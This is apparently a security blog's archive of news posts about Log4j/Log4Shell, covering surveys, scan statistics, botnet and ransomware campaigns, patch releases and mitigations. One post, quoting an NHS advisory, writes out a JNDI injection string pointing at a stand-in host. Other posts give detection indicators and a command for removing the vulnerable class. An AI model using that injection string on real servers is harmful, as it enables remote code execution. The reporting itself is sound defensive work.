May 02 2022

How Log4j Reshaped Cloud Security Thinking

Category: Log4j — DISC @ 7:28 am
How Log4j Reshaped Cloud Security Thinking

A report from IT security firm Valtix has revealed how IT leaders are changing the way they secure cloud workloads in the aftermath of the Log4j vulnerability.

Log4j is a logging library and part of the Apache Software Foundation’s Apache Logging Services project. It is pretty much ubiquitous in applications and services built using Java. 

It is used to record all manner of digital activities that run under the hoods of millions of computers. In December 2021, the Log4j vulnerability—aka CVE-2021-44228—was publicly announced and rapidly flagged as one of the most critical security vulnerabilities in recent years.

Once hackers discovered it was vulnerable to attack, they opened a dangerous vulnerability for IT teams across every industry.

Valtix surveyed 200 cloud security leaders to better understand how they protect every app across every cloud in the aftermath of Log4j. The survey found that 95% of IT leaders said Log4j and Log4Shell was a wake-up call for cloud security and that the vulnerability changed it permanently.

Log4j Changed Security Thinking

Log4j impacted not only the security posture of organizations across the globe but the very way IT leaders think about security.

The survey found 83% of IT leaders felt that the response to Log4j has impacted their ability to address business needs and that Log4j taught IT leaders the status quo isn’t good enough.

Respondents said they felt the security protections in place now are insufficient, that other high severity open source vulnerabilities will emerge and they worry that cloud service providers themselves might have vulnerabilities that could impact their teams.

In addition, 85% of respondents said poor integration between cloud security tools often slows down security processes and caused security lapses, while 82% of IT leaders said visibility into active security threats in the cloud is usually obscured. 

Just over half (53%) said they felt confident that all their public cloud workloads and APIs were fully secured against attacks from the internet, and less than 75% said they were confident that all of their cloud workloads were fully segmented from the public internet.

“Security leaders are still dealing with the impacts of Log4Shell,” explained Davis McCarthy, principal security researcher at Valtix. “Although many have lost confidence in their existing approach to cloud workload protection, the research shows they are taking action in 2022 by prioritizing new tools, process changes and budget as it relates to cloud security.”

Changing Cloud Security Priorities

The survey also revealed that Log4j shuffled cloud security priorities, with 82% of IT leaders admitting their priorities have changed and 77% of leaders said they are still dealing with Log4j patching.

Vishal Jain, co-founder and CTO at Valtix, added that the research echoed what the company is hearing from organizations daily: Log4Shell was a catalyst for many who realized that—even in the cloud—defense-in-depth is essential because there is no such thing as an invulnerable app.

“Log4Shell exposed many of the cloud providers’ workload security gaps as IT teams scrambled to mitigate and virtually patch while they could test updated software,” he said. “They needed more advanced security for remote exploit prevention, visibility into active threats or ability to prevent data exfiltration.”

According to the report, as a result of Log4j, security leaders are prioritizing additional tools, process changes and budgets, with industries from financial services to manufacturing reprioritizing their cloud security initiatives after Log4j.

The top five industries where confidence is still negatively impacted due to Log4j are energy, hospitality/travel, automotive, government and financial services, the survey found. 

The majority (96%) of enterprises said their cloud security threats grow more complex every year as new players, threats, tools, business models and requirements keep IT teams busier and more important than ever.

Security leaders also indicated that they recognize there’s no such thing as an invulnerable cloud workload and that defense-in-depth is needed, with 97% of IT leaders viewing defense-in-depth as essential in the cloud.

However, budget constraints slow tech adoption, with lack of funding the top challenge to adequate protection, followed by concerns that preventative security will slow down the business.

Survey respondents also indicated it is difficult to operationalize cloud workload protection solutions, with 79% of IT leaders agreeing that agent-based security solutions are difficult to operationalize in the cloud.

Meanwhile, 88% of IT leaders said they think bringing network security appliances to the cloud is challenging to the cloud computing operating model and 90% of IT leaders said open network paths to cloud workloads from the public internet can create security risks. 

Free and open source software (FOSS) will continue to present a risk to organizations as hackers focus on exploiting security flaws in the code, a report from Moody’s Investors Service found.

In the case of Log4j, for example, three to five years could elapse before organizations are finished patching security flaws, and with recent estimates indicating open source makes up 80% to 90% of the average piece of software, the persistent security threats FOSS presents is significant. 

Log4j Computer Security Change is Necessary

Log4Shell 2 Hours Hands-On Log4j Vulnerability: For Java engineers

Tags: Log4j

Mar 21 2022

Qualys platform study: Log4Shell, the menace continues

Category: Log4j — DISC @ 9:32 pm
Qualys platform study: Log4Shell, the menace continues

The anatomy of Log4Shell

By now, we are all familiar with the fact that Log4Shell is just about as critical as a critical vulnerability can get – scoring a 10 out of 10 on the National Institute of Standards and Technology’s CVSS severity scale.

As it targets a library – Apache Log4j2 – that nearly every Java application uses to log requests, this vulnerability is ubiquitous. Many applications use Log4j2 without even realizing it, meaning that even those with no apparent dependency on Log4j2 can still be at risk.

With its massive impact across nearly every industry, Log4Shell has taken its place in the cybersecurity hall of fame – among the likes of HeartBleed, WannaCry and ShellShock.

Difficult to locate but easy to exploit, remediating this vulnerability would prove incredibly complex, with several detection methods required. In fact, three months into Log4Shell, the Qualys Cloud Platform suggests that 30% of the Log4j instances still remain unpatched.

Qualys research team reveals the current state of Log4Shell

When it came to tracking the impact of Log4Shell, Qualys occupies a unique vantage point. The Qualys Cloud Platform indexes more than 10 trillion data points across its installed enterprise customer base and completed 6 billion IP scans per year with 75 million cloud agents deployed in hybrid IT environments globally. With that kind of scale, the Qualys Research Team was able to uncover unique insights into how global enterprises have and are managing Log4Shell:

Log4Shell exposure
  • Qualys Cloud Platform scanned more than 150 million IT assets, across all geographies, flagging 22 million vulnerable app installations. Of these, more than 80% were open source applications.
  • Log4Shell was detected in more than 3 million vulnerable instances.
  • More than two months later, 30% of Log4j instances remain unpatched.
Log4Shell threat landscape
  • Nearly 68,000 vulnerabilities were found in cloud workloads and containers across the U.S. and EMEA, reinforcing the recommendation that enterprises need to monitor running containers for flaws like Log4Shell.
  • CISA and NCSC reported 1,495 products vulnerable to Log4Shell, and of those we observed 1,065 products across 52 publishers currently in use. This indexing proved very valuable to Qualys customers as this SBOM mapping is provided out of the box, providing immediate insights into their vulnerable software inventory.
  • Surprisingly, more than 50% of application installations with Log4j were flagged as “end-of-support.” This means that these publishers will likely NOT be providing Log4Shell security patches for these apps.
  • The vulnerability was detected in more than 2,800 web applications. Since web apps are publicly facing, this was the first line of defense for many enterprises looking to fend off early attacks. In the U.S., most detections occurred before/during the holiday period, while in the E.U. these spiked after the holidays.
Vulnerability trends
  • The vast majority of the vulnerable assets (over 80%) were on Linux.
  • A total of 98 distinct Log4j versions were observed in use, 55% of which were vulnerable versions.
  • There was a 20% spike in detections as the new year arrived and employees returned to work.
  • Within the first month after Log4Shell’s disclosure, we observed that 12% of total Log4j installations were vulnerable, while only 5% were not.
Remediation trends
  • Average time to remediation after detection was 17 days. Systems which could be exploited remotely were patched faster (12 days) while internal systems were slower.
  • After the first month, remediation efforts plateaued and began trending down, quite likely because security teams are finding it easier to mitigate Log4Shell rather than permanently fixing it.
Attack patterns
  • Our Multi-Vector EDR solution detected 22,000 potential attacks per week at the height of the crisis. Many of these were scattershot “spray & pray” attacks trying to infect as many systems as possible quickly. Our data indicates that threat actors were trying to take advantage of the holiday season window of opportunity.
  • Attacks also trended down into January, as mitigating controls and patches were rolled out by enterprise IT teams.

Unpacking Log4Shell’s continued peril

Log4j has been and will continue to be a headache for security professionals due to how difficult it is to fully understand where this vulnerability may be within an organization.

As with most vulnerabilities, understanding how and where the flaw will affect your business is crucial. Discovery processes are unique to each organization – meaning that depending on architecture and deployment, timetables vary.

This paired with obstacles such as the complexities of skeleton IT staff, potential lack of visibility into IT assets and an overall influx of other real-time sophisticated attacks and threats, could present a tumultuous road to immediate remediation.

Why are vulnerable Log4j versions continuing to be downloaded?

The main culprit for why vulnerable versions continue to be downloaded is likely because of automated build systems. These are configured to download a specific version build of their dependencies. Lesser maintained projects may automatically download a specific version to avoid conflicts with updated software, which has the potential to break their code. If the maintainer of that software hasn’t been paying attention to Log4j news their application is left open to the risk of exploitation.

Another scenario is the intentional download by researchers or adversaries to test exploitation of their latest wares. It is useful for both good and bad guys to continually validate that their exploitations or defenses are in working order outside of production areas.

Why are vulnerable Log4j versions still available for download?

Flawed forms of the code are still available because many other pieces of software still rely on them. Removing these downloads could potentially cause breakage in several systems if eliminated.

Further, The Qualys Research team found that more than 50% of application installations with Log4j were flagged as “end of support.” These publishers will likely not be providing Log4Shell security patches for these apps. End of life/support technology is one of the leading factors that put organizations at risk of being exploited by threat actors.

In fact, earlier this year, CISA developed a catalog of “Bad Practices” to showcase what is exceptionally risky. Landing at number one – especially for organizations supporting Critical Infrastructure or NCFs – was the use of unsupported software.

What’s next?

Log4j

Log4Shell 2 Hours Hands-On Log4j Vulnerability

Tags: Log4shell, Log4Shell Log4j

Mar 17 2022

B1txor20 Linux botnet use DNS Tunnel and Log4J exploit

Category: DNS Attacks,Linux Security,Log4j — DISC @ 8:50 am
B1txor20 Linux botnet use DNS Tunnel and Log4J exploit

Researchers uncovered a new Linux botnet, tracked as B1txor20, that exploits the Log4J vulnerability and DNS tunnel.

Researchers from Qihoo 360’s Netlab have discovered a new backdoor used to infect Linux systems and include them in a botnet tracked as B1txor20.

The malware was first spotted on February 9, 2022, when 360Netlab’s honeypot system captured an unknown ELF file that was spreading by exploiting the Log4J vulnerability.

The name B1txor20 is based on the file name “b1t” used for the propagation and the XOR encryption algorithm, and the RC4 algorithm key length of 20 bytes.

The B1txor20 Linux backdoor uses DNS Tunnel technology for C2 communications, below is the list of the main features implemented by the threat:

  • SHELL
  • Proxy
  • Execute arbitrary commands
  • Install Rootkit
  • Upload sensitive information
B1txor20

The researchers also noticed the presence of many developed features that have yet to be used, and some of them are affected by bugs. Experts believe the B1txor20 botnet is under development.

“In short, B1txor20 is a Backdoor for the Linux platform, which uses DNS Tunnel technology to build C2 communication channels. In addition to the traditional backdoor functions, B1txor20 also has functions such as opening Socket5 proxy and remotely downloading and installing Rootkit.” reads the analysis published by the experts.

Once the system has been compromised, the threat connects the C2 using the DNS tunnel and retrieves and executes commands sent by the server. The researchers noticed that the bot supports a total of 14 commands that allows it to execute arbitrary commands, upload system information, manipulate files, starting and stopping proxy services, and creating reverse shells.

“Generally speaking, the scenario of malware using DNS Tunnel is as follows: Bot sends the stolen sensitive information, command execution results, and any other information that needs to be delivered, after hiding it using specific encoding techniques, to C2 as a DNS request; After receiving the request, C2 sends the payload to the Bot side as a response to the DNS request. In this way, Bot and C2 achieve communication with the help of DNS protocol.” continues the analysis.

The post includes additional technical details along with Indicators of Compromise (IoCs) for this threat.

Indicators of Compromise Associated with BlackByte Ransomware: Joint Cybersecurity Advisory

Tags: B1txor20 Linux botnet, Indicators of Compromise, IoC

Jan 11 2022

Night Sky ransomware operators exploit Log4Shell to target hack VMware Horizon servers

Category: Information Security,Log Management,Log4j,Ransomware — DISC @ 10:40 am
Night Sky ransomware operators exploit Log4Shell to target hack VMware Horizon servers

The Night Sky ransomware operation started exploiting the Log4Shell flaw (

CVE-2021-44228
) in the Log4j library to gain access to VMware Horizon systems.

The ransomware gang started its operations on December 27, 2021, and has already hacked the corporate networks of two organizations from Bangladesh and Japan respectively. The gang has also set up a leak site on the Tor network where it will publish files stolen to the victims that will not pay the ransom.

Researchers from MalwareHunterteam first spotted the ransomware family, once encrypted a file, the ransomware appends the ‘.nightsky‘ extension to encrypted file names.

In early January, threat actors started targeting VMware Horizon systems exposed on the Internet. VMware has addressed Log4Shell in Horizon with the release of 2111, 7.13.1, 7.10.3 versions, but unfortunately many unpatched systems are still exposed online.

On Monday, Microsoft posted a warning about a new campaign from a China-based actor it tracks as DEV-0401 to exploit the Log4Shell vulnerability on VMware Horizon systems exposed on the internet, and deploy Night Sky ransomware.

Tags: Log4shell, Night Sky ransomware

Jan 07 2022

Log4Shell-like security hole found in popular Java SQL database engine H2

Category: Log Management,Log4j,Security logs — DISC @ 10:14 am
Log4Shell-like security hole found in popular Java SQL database engine H2

“It’s Log4Shell, Jim,” as Commander Spock never actually said, “But not as we know it.”

That’s the briefest summary we can come up with of the bug CVE-2021-42392, a security hole recently reported by researchers at software supply chain management company Jfrog.

This time, the bug isn’t in Apache’s beleagured Log4j toolkit, but can be found in a popular Java SQL server called the H2 Database Engine.

H2 isn’t like a traditional SQL system such as MySQL or Microsoft SQL server.

Although you can run H2 as a standalone server for other apps to connect into, its main claim to fame is its modest size and self-contained nature.

As a result, you can bundle the H2 SQL database code right into your own Java apps, and run your databases entirely in memory, with no need for separate server processes.

As with Log4j, of course, this means that you may have running instances of the H2 Database Engine code inside your organization without realizing it, if you use any apps or development components that themselves quietly include it.

JNDI back in the spotlight

I Survived Log4Shell 2021

Tags: Log4shell, SQL database engine H2

Jan 07 2022

Threat actor targets VMware Horizon servers using Log4Shell exploits, UK NHS warns

Category: Log4j,Security logs — DISC @ 9:57 am
Threat actor targets VMware Horizon servers using Log4Shell exploits, UK NHS warns

The security team at the UK National Health Service (NHS) announced to have spotted threat actors exploiting the Log4Shell vulnerability to hack VMWare Horizon servers and install web shells.

“An unknown threat group has been observed targeting VMware Horizon servers running versions affected by Log4Shell vulnerabilities in order to establish persistence within affected networks.” reads the security advisory published by NHS.

“The attack likely consists of a reconnaissance phase, where the attacker uses theJava Naming and Directory InterfaceTM (JNDI) via Log4Shell payloads to call back to malicious infrastructure. Once a weakness has been identified, the attack then uses the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.”

Once installed a web shell, threat actors can use it to carry out a broad range of malicious activities, such as deploying data exfiltration or deployment of ransomware.

In mid-December, experts reported that the Conti ransomware gang was the first professional group that leveraged Log4Shell exploit to compromise VMware vCenter Server installs. The ransomware group used the exploit to target internal devices that are not protected.

The CVE-2021-44228 flaw made the headlines in December, after Chinese security researcher p0rz9 publicly disclosed a Proof-of-concept exploit for the critical remote code execution zero-day vulnerability (aka Log4Shell) that affects the Apache Log4j Java-based logging library.

According to the NHS, threat actors are looking for unpatched VMWare Horizon servers to exploit the Log4Shell vulnerability.

The attackers employed a Log4Shell payload similar to ${jndi:ldap://example.com}, then launches a PowerShell command, spawned from ws_TomcatService.exe.

Log4Shell Nhs

When the attackers find a vulnerable server, they use the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.

NHS recommends organizations to look for the following indicators of exploitation:

  • Evidence of ws_TomcatService.exe spawning abnormal processes
  • Any powershell.exe processes containing ‘VMBlastSG’ in the commandline
  • File modifications to ‘…\VMware\VMware View\Server\appblastgateway\lib\absg-worker.js’ – This file is generally overwritten during upgrades, and not modified

Affected organizations should review the VMware Horizon section of the VMware security advisory (VMSA-2021-0028) and apply security updates or mitigations as soon as possible.

Tags: Log4Shell exploits, VMware Horizon servers

Dec 29 2021

Mitigating Log4Shell and Other Log4j Related Vulnerabilities

Category: Log4j — DISC @ 4:17 pm

Mitigating-Log4Shell-and-Other-Log4j-Related-1Download

SSA-661247: Apache Log4j Vulnerabilities (Log4Shell, … Log4Shell+Vulnerability … Find detailed remediation and mitigation information

Log4Shell You can experience the vulnerability of log4j within two hours: Recommended for Java Engineers (Japanese Edition) by [MORINO SERI]

Tags: Log4j, Mitigating Log4Shell

Dec 29 2021

Apache Log4j 2.17.1 fixes new remote code execution flaw (CVE-2021-44832)

Category: Log Management,Log4j,Security logs — DISC @ 11:39 am
Apache Log4j 2.17.1 fixes new remote code execution flaw (CVE-2021-44832)

The Apache Software Foundation released Log4j 2.17.1 version to address a recently discovered arbitrary code execution flaw, tracked as CVE-2021-44832, affecting Log4j 2.17.0.

CVE-2021-44832 is the fifth vulnerability discovered in the popular library in the last weeks. Like the previous issues affecting the library, this one could be exploited by threat actors to execute malicious code on affected systems.

“Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.” reads the advisory.

The flaw received a CVSS score of 6.6 and impacts all log4j versions from 2.0-alpha7 to 2.17.0. Versions 2.3.2 and 2.12.4. are not impacted.

The vulnerability was discovered by Checkmarx security researcher Yaniv Nizry who reported it to Apache on December 27.

Nizry also published details of the CVE-2021-44832 flaw in a blog post, he speculates that the exploitation of this issue is more complex than the CVE-2021-44228 one.

“This vulnerability doesn’t use the disabled lookup feature. The complexity of this vulnerability is higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration,” states Nizry. “Unlike Logback, in Log4j there is a feature to load a remote configuration file or to configure the logger through the code, so an arbitrary code execution could be achieved with [an] MitM attack, user input ending up in a vulnerable configuration variable, or modifying the config file.”

Tags: CVE-2021-44832

Dec 27 2021

Experts monitor ongoing attacks using exploits for Log4j library flaws

Category: Log Management,Log4j — DISC @ 11:01 am
Experts monitor ongoing attacks using exploits for Log4j library flaws

Researchers from DrWeb monitored attacks leveraging exploits for vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE2021-4104, and CVE-2021-42550) in the Apache Log4j library warning of the need to adopt protective measures.

The vulnerabilities can allow threat actors to execute arbitrary code on the target systems, trigger a Denial of Service condition, or disclose confidential information.

Dr. Web set up one of its honeypots to analyze the impact of the Log4J vulnerabilities on systems exposed online and discovered an intense activity between December 17th-20th.

log4j

“We record attacks using exploits for the vulnerabilities on one of our honeypots–a special server used by Doctor Web specialists as bait for fraudsters. The most active threat occurred between December 17th-20th, but attacks still continue.” reads the analysis published by DrWeb.

DayNumber of attacks
December 107
December 1120
December 1225
December 1315
December 1432
December 1521
December 1624
December 1747
December 1851
December 1933
December 2032
December 2114
December 2235
December 2336

The attacks are carried out from 72 different IP addresses, most of them were German IP addresses (21%), followed by Russia (19.4%), the USA and China (9.7%).

Log4J by [J. Steven Perry]

Tags: Log4j library flaws

Dec 21 2021

More than 35,000 Java packages impacted by Log4j flaw, Google warns

Category: Log4j,Security logs,Security vulnerabilities — DISC @ 11:12 am
More than 35,000 Java packages impacted by Log4j flaw, Google warns

The Google Open Source Team scanned the Maven Central Java package repository and found that 35,863 packages (8% of the total) were using versions of the Apache Log4j library vulnerable to Log4Shell exploit and to the CVE-2021-45046 RCE.

“More than 35,000 Java packages, amounting to over 8% of the Maven Central repository (the most significant Java package repository), have been impacted by the recently disclosed log4j vulnerabilities (1, 2), with widespread fallout across the software industry.” reads the report published by Google. “As far as ecosystem impact goes, 8% is enormous.”

The Google experts used the Open Source Insights, a project used to determine open source dependencies, to assess all versions of all artifacts in the Maven Central Repository.

The experts pointed out that the direct dependencies account for around 7,000 of the affected packages. Most of the affected artifacts are related to indirect dependencies.

log4j

“The deeper the vulnerability is in a dependency chain, the more steps are required for it to be fixed. The following diagram shows a histogram of how deeply an affected log4j package (core or api) first appears in consumers dependency graphs.” reads the post published by the researchers. “For greater than 80% of the packages, the vulnerability is more than one level deep, with a majority affected five levels down (and some as many as nine levels down). These packages will require fixes throughout all parts of the tree, starting from the deepest dependencies first.”

But since the vulnerability was disclosed, 13% of all vulnerable packages have been fixed (4,620).

How long will it take for this vulnerability to be fixed across the entire ecosystem?

Log4j Java Programmer Programming Coding Funny Tote Bag

Tags: Java packages, Log4j, Log4shell

Dec 20 2021

Log4Shell: The Movie… a short, safe visual tour for work and home

Category: Log Management,Log4j,Security vulnerabilities — DISC @ 11:52 am
Log4Shell: The Movie… a short, safe visual tour for work and home

As Christmas 2021 approaches, spare a thought for your sysamins, for your IT team, and for your cybersecurity staff.

There may be plenty of mice stirring all through the IT house right up to Christmas Eve…

…because that’s the deadline set by the US Cybersecurity and Infrastructure Security Agency (CISA) for patching the infamous Log4Shell vulnerability, a dangerously exploitable flaw in Apache’s widely used Log4j (Logging for Java) programming toolkit.

Since news first broke of the problem on 09 December 2021, Apache has a-patched the code not once but three times, variously fixing CVE-2021-44228 with version 2.15.0, quickly followed by 2.16.0 to fix a related bug dubbed CVE-2021-45046, foillowed quickly yet again by 2.17.0 to deal with CVE-2021-45105.

Why the pressure from CISA? Why the rush when we’re supposed to enjoying a global holiday season? Why not wait until New Year and deal with things then?

Here’s why your sysadmins are taking one (three, actually) for the team…

Log4Shell Response and Mitigation Recommendations

Advisory: 2021-007: Log4j vulnerability – advice and mitigations

Apache Log4j 2 v. 2.17.0 User’s Guide

Tags: Log4j, Log4shell

Dec 16 2021

Active scanning for Apache Log4j 2

Category: Log Management,Log4j,Security vulnerabilities — DISC @ 3:56 pm

Active-scanning-for-Apache-Log4j-2-1Download

Tags: Apache Log4j 2

Dec 16 2021

Apple security updates are out – and not a Log4Shell mention in sight

Category: Log4j,Security patching,Security vulnerabilities — DISC @ 10:26 am
Apple security updates are out – and not a Log4Shell mention in sight

Amongst all the brouhaha about Log4Shell, it’s easy to forget all the other updates that surround us.

Not only is it Patch Tuesday (keep your eye on our sister site news.sophos.com for the latest on that score later in the day)…

…but it’s also time to check your Apple devices, because Apple just pushed out a slew of its they-arrive-when-they’re-ready-and-don’t-expect-any-warning security patches.

The updated versions you’re looking for are:

As for iOS 14 and iOS 12, which are the official previous and pre-previous iPhone operating systems (in the same way that Big Sur and Catalina are the previous incarnations of macOS), there’s no sign of any updates for them.

Observant readers will notice that the URLs in the list above form an unbroken numeric sequence except for a gap at HT212977, so whether that’s a space left open for a delayed update for iOS 14 or not we can’t tell you…

…but we did notice that Apple’s main security noticeboard page, HT201222, still [2021-12-14T12:00Z] doesn’t mention the updates listed above.

In the past, we’ve noticed an apparent correlation between delayed updates for individual platforms and delayed listings on HT201222, but we have no idea whether that is coincidence rather that true correlation, or a desire on Apple’s part to hold off updating the central listing until all the new versions can be displayed in one go.

(Apple, as you know, has an official policy of saying as little as possible about updates and update cycles, so we shall have to wait and see.)

What about Log4Shell?

Apple Device Management

MacOS and iOS Internals

Tags: Apple Device Management, Apple security updates

Dec 16 2021

While attackers begin exploiting a second Log4j flaw, a third one emerges

Category: App Security,Log4j,Security vulnerabilities — DISC @ 9:54 am
While attackers begin exploiting a second Log4j flaw, a third one emerges

Experts warn that threat actors are actively attempting to exploit a second bug disclosed in the popular Log4j logging library.

American web infrastructure and website security company Cloudflare warns that threat actors are actively attempting to exploit a second vulnerability, tracked as CVE-2021-45046, disclosed in the Log4j library.

The CVE-2021-45046 received a CVSS score of 3.7 and affects Log4j versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 (which was released to fix CVE-2021-44228).

The Apache Software Foundation (ASF) has already released a patch for the Log4Shell vulnerability (CVE-2021-44228), but this fix partially address the flaw in certain non-default configurations. An attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can craft malicious input data using a JNDI Lookup pattern triggering a denial of service (DOS) condition.

Both issues were assessed with the release of Log4j 2.16.0 version that addresses the CVE-2021-45046 by removing support for message lookup patterns and disabling JNDI functionality by default.

“Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.” states CloudFlare.”This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.”

The bad news are not ended, because researchers at security firm Praetorian warned of a third security vulnerability the Log4j version 2.15.0 that was released to fix the initial Log4Shell.

This third vulnerability can be exploited by attackers to exfiltrate sensitive data in certain circumstances.

“However, in our research we have demonstrated that 2.15.0 can still allow for exfiltration of sensitive data in certain circumstances. We have passed technical details of the issue to the Apache Foundation, but in the interim, we strongly recommend that customers upgrade to 2.16.0 as quickly as possible.” states the post published by Praetorian.

This image has an empty alt attribute; its file name is image-13.png

Secure By Design

Secure Software Development Fundamentals Professional Certificate

Tags: Log4j, Log4shell, Secure By Design

Dec 15 2021

Log4Shell: A new fix, details of active attacks, and risk mitigation recommendations

Category: Log4j,Security vulnerabilities — DISC @ 1:22 pm
Log4Shell: A new fix, details of active attacks, and risk mitigation recommendations

New versions of Log4j

The recent discovery of a second Log4j vulnerability (CVE-2021-45046) has shown that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations.

This vulnerability could allow attackers to craft malicious input data using a JNDI Lookup pattern, resulting in a denial of service (DoS) attack.

“Note that previous mitigations involving configuration such as to set the system property ‘log4j2.noFormatMsgLookup’ to ‘true’ do NOT mitigate this specific vulnerability,” the Apache Log4j security team noted.

“Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).” The team advises users either to upgrade to version 2.12.2 (for Java 7) or 2.16.0 (for Java 8 or later), in which the Message Lookups feature has been removed and access to JNDI has been disabled by default, and explained why some of the mitigation measures shared a few days ago are incomplete.

Active exploitation

PoCs are constantly popping up on GitHub and getting forked. GitHub is steadily working on removing them, but the proverbial cat is now out of the bag, and there is no going back.

Exploitation attempts detected so far in the wild can be tied to ransomware groups and access brokers, botnet herders (delivering coin miners), and nation-backed APTs.

“The way modern products are built is using a big hierarchy of dependencies, where developers use libraries written by third-party companies and engineers to speed up the software release process. Log4J is an extremely basic library that allows log writing in Java applications. The way CVE-2021-44228 affects comes in 3 layers – cloud products that directly use the Log4J, web applications that use libraries that use Log4J, and off-the-shelf software which is internally deployed on customer servers and endpoints,” says Michael Assraf, CEO at Vicarius.

“As fixing and deploying cloud applications can be fast, updating libraries that use Log4J can break functionality unless done with caution. The most problematic fixes are internally deployed software, which will have to wait for a vendor update or a security patch, in that scenario customers are advised to wait on further vendor guidance and as of right now are helpless in reacting. Examples include: Elasticsearch, Intellij IDE, Jira Confluence, Apache Tomcat, Minecraft, Apache Hadoop, Eclipse IDE, and many more.”

Gallagher says that the most immediate priority for defenders is to reduce exposure by patching and mitigating all corners of their infrastructure and investigate exposed and potentially compromised systems.

“Where systems have been identified as vulnerable, defenders should run an incident response process and monitor for signs of remote access trojans such as C2 call-backs. Secrets stored on exposed systems should also be rotated, particularly if they are exposed in environment variables. Lastly, consider critical third party vendors who may also be at risk,” he advised.

Mathew Eble, VP of Services at Praetorian, also warned the issue will be prone to false negatives.

“Externally there is no way to cover all the possible paths that exploitation can take. Even when external scanning tools get more sophisticated in how they identify the issue, we strongly advocate not relying on scan results as strong indicator of your risk,” he noted.

This recommendation is based on four issues the company has confirmed when working with customers. Based on this, they have expanded their initial recommendations for defenders.

Log4Shell mitigation

Secure By Design

Secure Software Development Fundamentals Professional Certificate

Tags: Log4j, Log4shell, Secure By Design

Dec 14 2021

Here We Go Again: Second Log4j Flaw Surfaces

Category: Log Management,Log4j,Security logs — DISC @ 11:03 pm
Here We Go Again: Second Log4j Flaw Surfaces

Maybe Log4j vulnerabilities are like rats—for every one that’s visible, multiple others scurry beneath the surface. It’s too early to tell if that’s what will happen with Log4j.

But just a day or so after a damaging vulnerability was disclosed, another has come to light. This time it’s believed to be moderate in severity.

“A second vulnerability involving Apache Log4j was found on Tuesday,” according to a MITRE alert. “The description on the new CVE 2021-45046 said the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was ‘incomplete in certain non-default configurations.’”

“When a vulnerability is discovered and makes as much noise as Log4Shell, it invariably signals that there are additional vulnerabilities in the same software or fixes for that software and that triggers additional research and discovery,” said Casey Ellis, founder and CTO at Bugcrowd.

“The technique of abusing JNDI lookups with user-generated data has been around for years,” agreed Davis McCarthy, principal security researcher at Valtix. “With the attention CVE-2021-44228 has received, I wouldn’t be surprised if we saw a third CVE related to Log4j2.”

Ellis pointed out that “in this case, the initial fix provided was developed in a way that mitigated the exploitable symptom, but didn’t properly address the root cause.”

Indeed, Apache said the fix addressing “CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations,” according to the alert. “This could allow attackers with control over thread context map (MDC) input data when the logging configuration uses a non-default pattern layout with either a context lookup (for example, $${ctx:loginId}) or a thread context map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI lookup pattern resulting in a denial-of-service (DOS) attack.”

The alert said, “Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.” But previous mitigations that involve “configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do not mitigate this specific vulnerability,” MITRE warned. “Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).”

Ellis said the situation “also highlights the dangerous dependency open source users have on libraries which power large portions of the Internet but are ultimately written and maintained by unfunded volunteers with limited available time.” He gave credit to “ the Log4j maintainers” who he said likely “had an even busier and more stressful week than those in cybersecurity and are working on fixing and improving Log4j’s resilience as quickly as they can.”

Incomplete fixes are often a result of rushing patches to fix vulnerabilities, noted John Bambenek, principal threat hunter at Netenrich. The solution, he said, “is to disable JNDI functionality entirely (which is the default behavior in the latest version).”

Since “at least a dozen groups are using these vulnerabilities,” immediate action should then be taken “to either patch, remove JNDI or take it out of the classpath—preferably all of the above,” said Bambenek.

Manu Singh, risk engineer at Cowbell Cyber, sees an opportunity to show “a real-life use case where cyberinsurers can step up and help businesses.”

Singh said that Cowbell Cyber notified its policyholders of the vulnerabilities. “And our risk engineering team is available to help,” said Singh. “This is crucial in the small and mid-size market where security and IT resources are limited.”

Log4j Breach Discovery Takes 197 Days

LOG4SHELL REPORT

CISA adds Log4Shell Log4j flaw to the Known Exploited Vulnerabilities Catalog

Tags: Log4j, Log4shell

Dec 13 2021

CISA adds Log4Shell Log4j flaw to the Known Exploited Vulnerabilities Catalog

Category: Log4j,Security vulnerabilities,Web Security — DISC @ 9:53 am
CISA adds Log4Shell Log4j flaw to the Known Exploited Vulnerabilities Catalog

CISA adds Log4Shell Log4j flaw to the Known Exploited Vulnerabilities Catalog

The U.S. CISA added 13 new vulnerabilities to the Known Exploited Vulnerabilities Catalog, including Apache Log4Shell Log4j and Fortinet FortiOS issues.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added 13 new vulnerabilities to the Known Exploited Vulnerabilities Catalog, including recently disclosed Apache Log4Shell Log4j and Fortinet FortiOS flaws.

